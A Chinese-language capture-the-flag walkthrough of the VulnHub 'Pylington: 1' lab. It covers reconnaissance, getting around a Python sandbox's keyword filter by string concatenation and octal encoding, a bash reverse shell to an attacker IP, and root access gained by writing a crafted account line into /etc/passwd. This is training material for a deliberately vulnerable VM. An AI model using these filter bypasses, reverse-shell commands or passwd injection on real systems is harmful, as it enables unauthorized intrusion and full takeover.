vulnhub靶场之PYLINGTON: 1
准备:
攻击机:虚拟机kali、本机win10。
靶机:Pylington: 1,下载地址:https://download.vulnhub.com/pylington/pylington.ova,下载后直接vbox打开即可。
知识点:敏感文件发现和利用、python代码执行、shell反弹、python代码过滤绕过。
一:信息收集
1.nmap扫描
使用nmap扫描下靶机地址,命令:nmap -sn 192.168.5.0/24,发现靶机地址:192.168.5.76。
使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.76,显示开放了22端口、80端口,开启了ssh服务、http服务。
2.目录扫描
使用gobuster进行目录扫描,命令:gobuster dir -u http://192.168.5.73 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现robots.txt文件。
3.web信息
访问web服务时查看了下源代码信息,但是未发现有用信息,然后想着注册账户登录,但是告诉我们无法注册新用户,只能已经存在得账户才可以登录。
访问下目录扫描时发现的robots.txt文件,发现新的目录信息:/zbir7mn240soxhicso2z。
访问新发现的目录,返回页面信息中存在账户和密码信息:steve/bvbkukHAeVxtjjVH。
二:获取shell
利用获得账户和密码信息:steve/bvbkukHAeVxtjjVH登录系统,发现可以执行python代码和一个指向链接,访问该链接跳转到了:http://192.168.5.76/noimportos_sandbox.py,并给我们提示,告诉我们不要输入:import、os、open命令。
测试了以下import命令,发现会被检测并返回:H4CK3R AL3R7!!! Malicious program detected by the sandbox。尝试绕过对关键字符串的限制,使用拼接法进行测试,payload:exec('print("imp"+"ort")'),成功绕过限制输出import。
开始构造shell反弹语句,使用exec执行我们构造得shell反弹语句成功获得shell权限。
#原来语句
import os
os.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')
#绕过限制后得语句,注意有个双引号,不然会引起歧义无法执行
'imp'+'ort o'+'s'
'o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')"
#执行语句
exec('imp'+'ort o'+'s')
exec('o'+"s.system('bash -i >&/dev/tcp/192.168.5.71/6688 0>&1')")
或者通过脚本进行进制转生成可执行的字符串也行,如下可以获得返回的id信息,两种绕过方式均可以。
oct_result= ''
strings = 'import os'
for string in strings:
one_char = ord(string)
oct_result = oct_result + str(oct(one_char).replace('0o','\\'))
print(oct_result)
#import os结果
\151\155\160\157\162\164\40\157\163
#os.system('id')结果
\157\163\56\163\171\163\164\145\155\50\47\151\144\47\51
三:提权
1.提权至py
尝试使用sudo -l来查找下特殊命令,但是告诉我们sudo需要密码。
使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现/home/py/typing文件。
进入/home/py目录下发现user.txt、typing.cc、typing文件,并对对typing.c文件具有读取权限,对typing文件具有执行权限。
查看typing.cc文件得源码信息,发现该程序可以告诉我们密码信息。
执行typing文件,并按要求输入line得值,成功获得密码信息:54ezhCGaJV。
利用获得密码信息:54ezhCGaJV尝试切换到py账户,su py。成功切换到py账户并读取/home/py目录下的user.txt文件,成功获得flag值。
2.提权至root
尝试使用sudo命令,但是被限制了。想想也是密码都给你了咋会让你使用sudo。
那就继续使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现:/home/py/secret_stuff/backup文件。
进入/home/py/secret_stuff目录发现了backup得源码文件:backup.cc,访问backup.cc文件发现我们可以随意将一些信息备份到以/srv/backups/目录开头得文件中,因此想到直接向/etc/passwd文件中写入具有root权限的账户。
我们可以直接查看下kali中的密码信息然后写入到靶机中或者使用openssl创建密码:openssl passwd -1 -salt upfine upfine,我这里直接使用本机kali的密码:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.,可以在/etc/shadow文件查看,然后查看靶机中的root权限信息,命令cat /etc/passwd,发现其权限信息为:root:x:0:0::/root:/bin/bash,因此我们构造payload:upfine:$y$j9T$lR7REZ4XgU56yXNl9PFiN/$oI3B/OeQGXOoTb7opQ.azBMOgG2IM0neRj4MN3HCqQ.:0:0::/root:/bin/bash,将payload写入到/etc/passwd问价即可。
尝试切换到我们添加的upfine账户,su upfine,成功切换到upfine账户并且该账户具有root权限。
获得root权限后在/root目录发现root.txt文件,读取该文件成功获得flag值。
vulnhub靶场之PYLINGTON: 1的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- Unity算法之A星- A*Pathfind Project插件的使用
先上效果图 首先上 插件地址 (如果没有积分可以评论区联系我) 1.下载完毕后导入unity 导入后可以在Component里面看到多了一个Pathfinding选项 2.场景搭建 首先新建两个层 ...
- 训练题——ADC读取温度
Author:XuanYu 利用ADC测量单片机内部温度 废话不多说,直接开搞. 科普 先科普一下ADC(不是 AD carry!),ADC是模数转化器,就是模拟信号转换成数字信号的东西,通常的模数转 ...
- TypeScript系列 -> 遇到报错 Cannot find name ‘console‘. Do you need to change your target library?ging the ‘lib‘ compiler option
学习ts遇到的报错 Cannot find name 'console'. Do you need to change your target library?ging the 'lib' compi ...
- Python从list中随机取值
import random idList = ['11', '22', '23', '34', '35', '14', '45', '66', '88', ] def get_randomID(): ...
- withRouter
withRouter 可以加工一般组件,让一般组件具备路由组件所特有的api,比如this.props.history withRouter的返回值是一个新组件 import {withRouter} ...
- js-classList用法学习记录1
classList introduction: 学习后我的个人理解是,在给html中创建的类一系列操作的方法调用. detailed method: 网站具体介绍(菜鸟) add:添加类,已有则不添加 ...
- Mysql的MVCC与幻读
以下特殊情况在可重复读时会产生幻读: 1.a事务先select,b事务insert确实会加一个gap锁,但是如果b事务commit,这个gap锁就会释放(释放后a事务可以随意操作), 2.a事务再se ...
- Charles4.5.1抓取HTTPS请求
Charles下载以后发现 抓取http请求是成功的: 抓取https请求是失败的: 按照失败提示设置即可: 1.点击 Help -> SSL Proxying -> install ch ...
- OO_Lab1总结博客
OO_Lab1 问题描述 模拟多线程实时电梯系统,新主楼ABCDE五个楼座各楼层均有电梯,乘客发起形如"从X座x层到Y座y层"的请求,电梯模拟上下行.开关门.乘客进出等行为,以满足 ...
- Code UTF-8 Console GB2312 Linux 中文乱码
Linux 系统方法: LD_LIBRARY_PATH=. ./userdemo | iconv -f GB2312 -t utf8 Shell 方法 Shell 编码 改成GB2312 // 编 ...